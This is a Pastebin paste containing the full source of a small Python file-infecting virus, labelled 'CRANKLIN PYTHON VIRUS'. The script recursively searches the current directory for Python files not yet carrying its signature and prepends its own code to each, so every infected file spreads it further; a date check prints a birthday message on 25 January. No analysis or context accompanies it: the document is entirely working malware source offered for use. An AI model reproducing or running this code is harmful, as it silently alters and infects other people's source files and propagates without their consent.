Guest User

Untitled

a guest
Feb 24th, 2018
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.95 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import os
  4.  
  5. import datetime
  6.  
  7. SIGNATURE = "CRANKLIN PYTHON VIRUS"
  8.  
  9. def search(path):
  10.  
  11. filestoinfect = []
  12.  
  13. filelist = os.listdir(path)
  14.  
  15. for fname in filelist:
  16.  
  17. if os.path.isdir(path+"/"+fname):
  18.  
  19. filestoinfect.extend(search(path+"/"+fname))
  20.  
  21. elif fname[-3:] == ".py":
  22.  
  23. infected = False
  24.  
  25. for line in open(path+"/"+fname):
  26.  
  27. if SIGNATURE in line:
  28.  
  29. infected = True
  30.  
  31. break
  32.  
  33. if infected == False:
  34.  
  35. filestoinfect.append(path+"/"+fname)
  36.  
  37. return filestoinfect
  38.  
  39. def infect(filestoinfect):
  40.  
  41. virus = open(os.path.abspath(__file__))
  42.  
  43. virusstring = ""
  44.  
  45. for i,line in enumerate(virus):
  46.  
  47. if i>=0 and i <39:
  48.  
  49. virusstring += line
  50.  
  51. virus.close
  52.  
  53. for fname in filestoinfect:
  54.  
  55. f = open(fname)
  56.  
  57. temp = f.read()
  58.  
  59. f.close()
  60.  
  61. f = open(fname,"w")
  62.  
  63. f.write(virusstring + temp)
  64.  
  65. f.close()
  66.  
  67. def bomb():
  68.  
  69. if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
  70.  
  71. print "HAPPY BIRTHDAY CRANKLIN!"
  72.  
  73. filestoinfect = search(os.path.abspath(""))
  74.  
  75. infect(filestoinfect)
  76.  
  77. bomb()
Add Comment
Please, Sign In to add comment